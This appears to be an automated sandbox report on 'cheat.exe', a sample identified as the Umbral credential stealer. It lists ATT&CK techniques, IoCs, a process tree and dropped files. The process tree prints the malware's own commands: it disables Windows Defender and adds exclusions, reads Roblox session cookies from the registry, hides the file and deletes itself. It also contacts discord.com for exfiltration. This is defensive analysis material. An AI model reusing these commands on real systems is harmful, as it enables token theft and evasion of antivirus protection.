umbral | 112eb0863c7d7123d10b7e78262df292b43ab2cc11c81c92e41f64df4d47edae

Analysis

max time kernel
140s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
05-06-2024 15:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cheat.exe
Size

231KB
MD5

8e15d02166ecc355757bd303fe50bc1e
SHA1

e527a5f5aea7c84c762cb42b74a420f79ffc20a3
SHA256

112eb0863c7d7123d10b7e78262df292b43ab2cc11c81c92e41f64df4d47edae
SHA512

63d150761e25a4f6549ac72533be705c1a01643527bf1f4f31fa7dec8b5c49369fe90d64f2fa4fa00e002ad13f6ef45596f0fdc3774058fd994ae1327a71624e
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4bQmmn9GuBi0dP6aPiXb8e1mvDki:joZtL+EP8bQmmn9GuBi0dP6aPkKN

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1196-1-0x0000013CF0470000-0x0000013CF04B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1956	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cheat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
28	discord.com
29	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4620	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4532	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1196	cheat.exe
1196	cheat.exe
1956	powershell.exe
1956	powershell.exe
1956	powershell.exe
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1196	cheat.exe
Token: SeIncreaseQuotaPrivilege	4700	wmic.exe
Token: SeSecurityPrivilege	4700	wmic.exe
Token: SeTakeOwnershipPrivilege	4700	wmic.exe
Token: SeLoadDriverPrivilege	4700	wmic.exe
Token: SeSystemProfilePrivilege	4700	wmic.exe
Token: SeSystemtimePrivilege	4700	wmic.exe
Token: SeProfSingleProcessPrivilege	4700	wmic.exe
Token: SeIncBasePriorityPrivilege	4700	wmic.exe
Token: SeCreatePagefilePrivilege	4700	wmic.exe
Token: SeBackupPrivilege	4700	wmic.exe
Token: SeRestorePrivilege	4700	wmic.exe
Token: SeShutdownPrivilege	4700	wmic.exe
Token: SeDebugPrivilege	4700	wmic.exe
Token: SeSystemEnvironmentPrivilege	4700	wmic.exe
Token: SeRemoteShutdownPrivilege	4700	wmic.exe
Token: SeUndockPrivilege	4700	wmic.exe
Token: SeManageVolumePrivilege	4700	wmic.exe
Token: 33	4700	wmic.exe
Token: 34	4700	wmic.exe
Token: 35	4700	wmic.exe
Token: 36	4700	wmic.exe
Token: SeIncreaseQuotaPrivilege	4700	wmic.exe
Token: SeSecurityPrivilege	4700	wmic.exe
Token: SeTakeOwnershipPrivilege	4700	wmic.exe
Token: SeLoadDriverPrivilege	4700	wmic.exe
Token: SeSystemProfilePrivilege	4700	wmic.exe
Token: SeSystemtimePrivilege	4700	wmic.exe
Token: SeProfSingleProcessPrivilege	4700	wmic.exe
Token: SeIncBasePriorityPrivilege	4700	wmic.exe
Token: SeCreatePagefilePrivilege	4700	wmic.exe
Token: SeBackupPrivilege	4700	wmic.exe
Token: SeRestorePrivilege	4700	wmic.exe
Token: SeShutdownPrivilege	4700	wmic.exe
Token: SeDebugPrivilege	4700	wmic.exe
Token: SeSystemEnvironmentPrivilege	4700	wmic.exe
Token: SeRemoteShutdownPrivilege	4700	wmic.exe
Token: SeUndockPrivilege	4700	wmic.exe
Token: SeManageVolumePrivilege	4700	wmic.exe
Token: 33	4700	wmic.exe
Token: 34	4700	wmic.exe
Token: 35	4700	wmic.exe
Token: 36	4700	wmic.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4056	wmic.exe
Token: SeSecurityPrivilege	4056	wmic.exe
Token: SeTakeOwnershipPrivilege	4056	wmic.exe
Token: SeLoadDriverPrivilege	4056	wmic.exe
Token: SeSystemProfilePrivilege	4056	wmic.exe
Token: SeSystemtimePrivilege	4056	wmic.exe
Token: SeProfSingleProcessPrivilege	4056	wmic.exe
Token: SeIncBasePriorityPrivilege	4056	wmic.exe
Token: SeCreatePagefilePrivilege	4056	wmic.exe
Token: SeBackupPrivilege	4056	wmic.exe
Token: SeRestorePrivilege	4056	wmic.exe
Token: SeShutdownPrivilege	4056	wmic.exe
Token: SeDebugPrivilege	4056	wmic.exe
Token: SeSystemEnvironmentPrivilege	4056	wmic.exe
Token: SeRemoteShutdownPrivilege	4056	wmic.exe
Token: SeUndockPrivilege	4056	wmic.exe
Token: SeManageVolumePrivilege	4056	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 4700	1196	cheat.exe	93
PID 1196 wrote to memory of 4700	1196	cheat.exe	93
PID 1196 wrote to memory of 1164	1196	cheat.exe	97
PID 1196 wrote to memory of 1164	1196	cheat.exe	97
PID 1196 wrote to memory of 1956	1196	cheat.exe	99
PID 1196 wrote to memory of 1956	1196	cheat.exe	99
PID 1196 wrote to memory of 4396	1196	cheat.exe	101
PID 1196 wrote to memory of 4396	1196	cheat.exe	101
PID 1196 wrote to memory of 3372	1196	cheat.exe	103
PID 1196 wrote to memory of 3372	1196	cheat.exe	103
PID 1196 wrote to memory of 2960	1196	cheat.exe	105
PID 1196 wrote to memory of 2960	1196	cheat.exe	105
PID 1196 wrote to memory of 4056	1196	cheat.exe	107
PID 1196 wrote to memory of 4056	1196	cheat.exe	107
PID 1196 wrote to memory of 3944	1196	cheat.exe	109
PID 1196 wrote to memory of 3944	1196	cheat.exe	109
PID 1196 wrote to memory of 4104	1196	cheat.exe	111
PID 1196 wrote to memory of 4104	1196	cheat.exe	111
PID 1196 wrote to memory of 5104	1196	cheat.exe	113
PID 1196 wrote to memory of 5104	1196	cheat.exe	113
PID 1196 wrote to memory of 4620	1196	cheat.exe	116
PID 1196 wrote to memory of 4620	1196	cheat.exe	116
PID 1196 wrote to memory of 4580	1196	cheat.exe	124
PID 1196 wrote to memory of 4580	1196	cheat.exe	124
PID 4580 wrote to memory of 4532	4580	cmd.exe	126
PID 4580 wrote to memory of 4532	4580	cmd.exe	126

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1164	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cheat.exe
"C:\Users\Admin\AppData\Local\Temp\cheat.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
  2⤵
  - Views/modifies file attributes
  PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cheat.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cheat.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4532

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4136,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:8
1⤵
PID:3220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ac057a92f4b62d8880169af0693ef5b2

SHA1
66e7c7834c5dae5cec863ccd69403150d05841f4

SHA256
7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

SHA512
d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v4imhmul.ha1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1196-68-0x0000013CF2250000-0x0000013CF225A000-memory.dmp

Filesize
40KB

Download
memory/1196-35-0x0000013CF2210000-0x0000013CF222E000-memory.dmp

Filesize
120KB

Download
memory/1196-87-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download
memory/1196-69-0x0000013CF2C90000-0x0000013CF2CA2000-memory.dmp

Filesize
72KB

Download
memory/1196-2-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download
memory/1196-33-0x0000013CF2C10000-0x0000013CF2C86000-memory.dmp

Filesize
472KB

Download
memory/1196-34-0x0000013CF23C0000-0x0000013CF2410000-memory.dmp

Filesize
320KB

Download
memory/1196-0-0x00007FFC06943000-0x00007FFC06945000-memory.dmp

Filesize
8KB

Download
memory/1196-1-0x0000013CF0470000-0x0000013CF04B0000-memory.dmp

Filesize
256KB

Download
memory/1956-15-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download
memory/1956-13-0x00000230BDEF0000-0x00000230BDF12000-memory.dmp

Filesize
136KB

Download
memory/1956-3-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download
memory/1956-14-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download
memory/1956-18-0x00007FFC06940000-0x00007FFC07401000-memory.dmp

Filesize
10.8MB

Download